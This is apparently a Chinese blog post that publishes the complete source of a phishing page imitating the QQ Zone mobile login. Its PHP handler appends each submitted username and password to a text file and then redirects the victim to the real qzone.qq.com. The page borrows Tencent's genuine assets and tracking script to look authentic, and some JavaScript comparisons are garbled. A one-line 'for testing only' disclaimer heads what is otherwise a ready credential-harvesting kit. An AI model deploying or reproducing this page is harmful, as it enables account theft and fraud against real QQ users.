PHP实现简单的仿QQ空间登录界面钓鱼(仅供参考测试不可用于非法用途)

Ianthe ·
更新时间:2024-09-21
· 935 次阅读

声明:此代码仅供参考不可用于非法用途,非法使用造成的后果自负
演示:界面

在这里插入图片描述
在这里插入图片描述
点击提交后账号和密码会被写入txt文本中,同时页面跳转在这里插入图片描述
在这里插入图片描述

<?php if (isset($_POST["user"])) { if (isset($_POST["pass"])) { $myfile = fopen("abc.txt", "a")/*abc.txt用于接收提交数据*/ or die("Unable to open file!"); $txt = "━━━━账号=".$_POST["user"]." 密码=".$_POST["pass"];//$_POST["user"]这个变量的意思,在所有post过来的数据当中的 user字段 两个字段或者变量可以用 . 这个符号连接起来,相当于合成一个文本,还有的记得每句php代码后面都需要加;号,不然就会报错。 fwrite($myfile, $txt); fclose($myfile); //在这里他完成写文件之后进行跳转 echo 'window.location.href="http://qzone.qq.com/"; ';//echo是输出函数,可以输出文本或者变量 } } ?> 手机统一登录@charset "utf-8";html{height:100%}body{font-size:16px;background:#eee;height:100%}*{padding:0;margin:0;list-style:none;text-decoration:none}input::-webkit-input-placeholder,textarea::-webkit-input-placeholder{color:#aaa}input::-ms-input-placeholder,textarea::-ms-input-placeholder{color:#aaa}input:focus{outline:0}.content{margin:0 auto;width:320px;height:500px;position:relative}#error_tips{position:absolute;top:0;z-index:100;display:none;opacity:.95;width:100%}#error_tips #error_tips_content{position:relative;padding:16px 0 24px 24px;border-radius:5px;background-color:#525c5f;height:28px}#error_tips #error_tips_content #error_icon{position:absolute;top:18px;display:inline-block;width:24px;height:24px;background:url("http://ui.ptlogin2.qzone.com/style/8/images/info.png") no-repeat 0 0}#error_tips #error_tips_content #error_message{display:inline-block;line-height:28px;font-size:14px;color:white;padding:0 0 0 28px}#error_message a{color:#f15a22}@media(-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi),(min-resolution:2dppx){#error_tips #error_tips_content #error_icon{background:url("http://ui.ptlogin2.qzone.com/style/8/images/info@2x.png") no-repeat 0 0;background-size:24px 24px}}.login{margin:0 auto;padding-top:30px}.q_login{margin:0 auto;width:290px;overflow:hidden;text-align:center;margin-bottom:40px}.inputstyle{-webkit-tap-highlight-color:rgba(255,255,255,0);width:273px;height:44px;color:#000;border:0;background:0;padding-left:15px;font-size:16px;-webkit-appearance:none}.logo{height:100px;width:244px;margin:0 auto;margin-bottom:20px;background-size:244px 100px}.header{display:inline-block;height:97px;width:96px;text-align:center;position:relative}.header img{width:60px;height:60px;position:absolute;top:10px;left:16px}.header .img_out{width:60px;height:60px;position:absolute;top:9px;left:15px;border:solid 1px #c6dbe8;border-radius:4px;-webkit-box-shadow:1px 1px 13px #6e6e6e}.nick{display:inline-block;text-align:center;position:absolute;top:80px;left:0;height:20px;line-height:18px;vertical-align:middle}.del_touch_icon{display:none;width:30px;height:30px;position:absolute;left:60px;top:0;z-index:1}.del_icon{display:block;width:24px;height:22px;background:url("http://ui.ptlogin2.qzone.com/style/8/images/android_logo_v1.png") no-repeat -68px 0;border-radius:11px}#web_login{width:290px;margin:0 auto}#g_list{background:#fff;height:89px;border-radius:4px}#g_u,#g_p{position:relative}#g_u{border-bottom:1px solid #eaeaea}.txt_default{position:absolute;top:12px;left:10px;color:#b3b3b3}.del_touch{-webkit-tap-highlight-color:rgba(255,255,255,0);position:absolute;right:0;display:block;height:44px;width:48px;z-index:1}.del_u{display:none;position:absolute;left:15px;top:13px;height:18px;width:18px;background-color:#aaa;border-radius:9px;background:url("http://ui.ptlogin2.qzone.com/style/8/images/android_logo_v1.png") no-repeat -117px -2px}#auto_login{height:24px;margin:15px 0;color:#246183;position:relative}#auto_login .wording{position:absolute;left:40px;line-height:24px;height:24px;font-size:14px}#remember{position:absolute;left:14px;top:5px;cursor:pointer;z-index:1;opacity:.01}#remember:checked+.checkbox{background:#146fdf url("http://ui.ptlogin2.qzone.com/style/8/images/checked.png") 1px 1px;border-color:#146fdf}#remember+.checkbox{display:inline-block;width:21px;height:21px;position:absolute;left:9px;top:1px;border:1px solid#9abbe3;background:0;border-radius:11px}#go,#onekey{width:290px;height:44px;line-height:44px;background:#146fdf;border:0;border-radius:4px;color:#fff;font-size:16px;text-align:center;margin-top:15px;display:block}#onekey{background:#146fdf;display:none}#go.weak{background-color:#e7e7e7;color:#146fdf;border:1pxsolid #9abbe3;height:42px}#switch{width:290px;margin:0 auto}#switch #swicth_login{width:288px;height:42px;line-height:44px;border:solid 1px #9abbe3;border-radius:5px;background:#e7e7e7;margin-top:10px;text-align:center;font-size:16px;color:#146fdf}#switch #zc_feedback{width:290px;position:relative;margin-top:15px;overflow:hidden}#switch #zc,#switch #forgetpwd{color:#2 46183;line-height:14px;font-size:14px;padding:15px 10px}#switch #zc{float:right;margin-right:-10px}#switch #forgetpwd{float:left;margin-left:-10px}.tansparent{background:0}#q_login_title{height:32px;line-height:22px;margin-bottom:20px;position:relative}#q_login_logo{background:url("http://ui.ptlogin2.qzone.com/style/8/images/android_logo_v1.png") no-repeat -44px 0;width:22px;height:22px;position:absolute;left:0}#q_login_tips{position:absolute;left:30px;top:0;color:#246183}#vcode{margin:0 auto;padding-top:40px;display:none}#vcode #vcode_tips{display:block;width:290px;height:20px;line-height:20px;margin:0 auto;margin-bottom:15px;color:#77838d}#vcode #vcode_area{position:relative;margin:0 auto;width:290px;height:70px;border-radius:5px;border:solid 1px #b8b8b8;background:#fff}#vcode #vcode_img{position:absolute;left:3px;width:140px;height:70px}#vcode #vcode_input{position:absolute;top:-1px;left:145px;width:145px;height:70px;border:1px solid#9d9d9d;background:0;-webkit-appearance:none;border-top-right-radius:5px;border-bottom-right-radius:5px;line-height:28px;font-size:28px;-webkit-box-shadow:inset 0 0 10px #ccc}#vcode #input_tips{position:absolute;top:5px;left:150px;display:block;width:135px;height:50px;color:#b3b3b3;z-index:1;padding-top:8px}#vcode #submit{width:288px;height:22px;padding:10px 0;background:#7ec82c;border:0;border-radius:5px;color:#fff;font-size:22px;text-align:center;margin:0 auto;margin-top:35px}.copyright{text-align:center;color:#8a949d;font-size:10px;margin-top:15px;font-family:Helvetica}.copyright .en{line-height:20px}.copyright .chs{line-height:20px}.mode_webapp .ui_topbar .topbar_btn b,.mode_webapp .ui_topbar .topbar_btn_left b{background-image:url("http://ui.ptlogin2.qzone.com/style/8/images/bg_btn_back.png");background-position:bottom right;background-size:105px;width:6px;height:32px;float:left}.ui_topbar h3,.ui_topbar .topbar_title{font-size:18px}.ui_topbar{border-bottom:1px solid #b6b6b6;border-top:2px solid #df242a;background-color:#d9d9d9;background-image:-webkit-gradient(linear,left top,left bottom,from(#ebebeb),to(#d9d9d9));background-image:-webkit-linear-gradient(top,#ebebeb,#d9d9d9);background-image:linear-gradient(to bottom,#ebebeb,#d9d9d9);height:40px;line-height:40px;text-align:center;position:relative}.lay_header{height:auto!important;width:100%}.mode_webapp .ui_topbar{color:#fff;background-color:#c32d32;background-image:-webkit-gradient(linear,left top,left bottom,from(#fe444a),to(#c32d32));background-image:-webkit-linear-gradient(top,#fe444a,#c32d32);background-image:linear-gradient(to bottom,#fe444a,#c32d32);border-bottom:1px solid #700d00;border-top:0 none;top:0;left:0;width:100%}.mode_webapp .ui_topbar .topbar_btn_left{display:block;position:absolute;left:10px;top:5px}.mode_webapp .ui_topbar .topbar_btn span,.mode_webapp .ui_topbar .topbar_btn_left span{float:left;display:inline-block;height:32px;line-height:30px;color:#fff;background-image:url("http://ui.ptlogin2.qzone.com/style/8/images/bg_btn_back.png");background-size:105px;padding-left:10px;padding-right:4px}.mode_webapp .ui_topbar .topbar_btn_left span{background-image:url("http://ui.ptlogin2.qzone.com/style/8/images/bg_btn_back.png");background-position:left -32px;background-size:105px;padding-left:17px}.mode_webapp .ui_topbar{box-shadow:0 0 5px #333}.skin-2 .ui_topbar{background-color:#161616;background-image:-webkit-gradient(linear,left top,left bottom,from(#3e3e3e),to(#262626));background-image:-webkit-linear-gradient(top,#3e3e3e,#262626);background-image:linear-gradient(to bottom,#3e3e3e,#262626);border-bottom-color:#1a1a1a}.skin-2 .ui_topbar{background-color:#161616;background-image:-webkit-gradient(linear,left top,left bottom,from(#3e3e3e),to(#262626));background-image:-webkit-linear-gradient(top,#3e3e3e,#262626);background-image:linear-gradient(to bottom,#3e3e3e,#262626);border-bottom-color:#1a1a1a}.skin-2 .ui_topbar .topbar_btn span,.skin-2 .ui_topbar .topbar_btn_left span,.skin-2 .ui_topbar .topbar_btn b,.skin-2 .ui_topbar .topbar_btn_left b{background-image:url("http://ui.ptlogin2.qzone.com/style/8/images/bg_btn_back _black@2x.png");background-size:105px}.new_vcode{display:none;width:100%;height:100%;overflow:hidden}.logo{background-image:url(http://qzonestyle.gtimg.cn/qzone/phone/style/img/ptlogin-logo.png)}

QQ空间手机版

更省流量、极速传图、个性背景
访客提醒、权限设置

打开QQ空间手机版 继续访问触屏版

(function(){ var $ = function(id){return document.getElementById(id)}; var on = function(el, event, callback){el.addEventListener(event, callback, false)}; var getCookie = function(name) { var r = new RegExp("(?:^|;+|\\s+)\s*" + name + "=([^;]*)"), m = document.cookie.match(r); return !m ? "" : decodeURIComponent(m[1]); } var setCookie = function(name, value, domain, path, hour){ if (hour) { var expire = new Date; expire.setTime(expire.getTime() + 36E5 * hour) } document.cookie = name + "=" + value+ "; " + (hour ? "expires=" + expire.toGMTString() + "; " : "") + (path ? "path=" + path + "; " : "path=/; ") + (domain ? "domain=" + domain + ";" : "domain=" + domainPrefix + ";"); return true } var pv = function(domain, path){ var refer = document.referrer.match(/http:\/\/([^/]+)\/([^\?#]+)/); var param = [ 'dm+=' + escape(domain), 'url+=' + escape(path), 'rdm+=' + escape(refer?refer[1]:''), 'rurl+=' + escape(refer?refer[2]:''), 'pgv_pvid+=' + getId(), 'sds+=' + Math.random() ]; img = new Image(); img.src = "http://pingfore.qq.com/pingd?cc=-&ct=-&java=1〈=-&pf=-&scl=-&scr=-&tt=-&tz=-8&vs=3.3&flash=&" + param.join("&") } var getId = function () { var t, d, h, f; t = document.cookie.match(/(?:^|;+|\s+)pgv_pvid=([^;]*)/i); if (t && t.length && t.length > 1) { d = t[1]; } else { d = (Math.round(Math.random() * 2147483647) * (new Date().getUTCMilliseconds())) % 10000000000; document.cookie = "pgv_pvid=" + d+ "; path=/; domain=qq.com; expires=Sun,18 Jan 2038 00:00:00 GMT;"; } h = document.cookie.match(/(?:^|;+|\s+)pgv_info=([^;]*)/i); if (!h) { f = (Math.round(Math.random() * 2147483647) * (new Date().getUTCMilliseconds())) % 10000000000; document.cookie = "pgv_info=ssid=s" + f + "; path=/; domain=qq.com;"; } return d; } /*layer switch*/ var hasShown = getCookie('guide2'); var refer = document.referrer || ''; var url = location.href; /*弹出逻辑:手动输入网址:refer空或等于http://m.qzone.com*/ // if(refer && refer != 'http://m.qzone.com/' && refer != 'http://m.qzone.com'){ // hasShown = true; // } //活动页干掉 if(refer && refer.indexOf('qzs.qq.com')ɬ){ hasShown = true; } //微信,qq干掉 if(url.indexOf('5758')ɬ || url.indexOf('5757')ɬ){ hasShown = true; }else if(url.indexOf('6456')ɬ || url.indexOf('17636')ɬ || url.indexOf('17615')ɬ || url.indexOf('22578')ɬ || url.indexOf('22174')ɬ){ hasShown = true; } //MSIE也不展示 var ua = navigator.userAgent; if(ua.match(/MSIE/)){ hasShown = true; } if(ua.indexOf('MicroMessenger')ɬ){ hasShown = true; } if(!hasShown){ $('guide').style.display = ''; if(navigator.connection && navigator.connection.type == '2'){ $('guideBG').setAttribute('class','wifi'); } var close = function(){ setCookie('guide2', '1', ".ui.ptlogin2.qq.com", "/", 7*24); $('guide').style.display = 'none'; } on($('guideSkip'),'click',function(){ close(); pv('m.qzone.com','/guide_toWeb'); }); on($('guideJump'),'click',function(){ }); pv('m.qzone.com','/guide_show'); } })();
一键登录
快速登录历史帐号
注册新帐号 忘了密码?

作者:网络攻城狮、



钓鱼 界面 qq空间 测试 PHP

需要 登录 后方可回复, 如果你还没有账号请 注册新账号
相关文章
Vesta 2020-06-09
702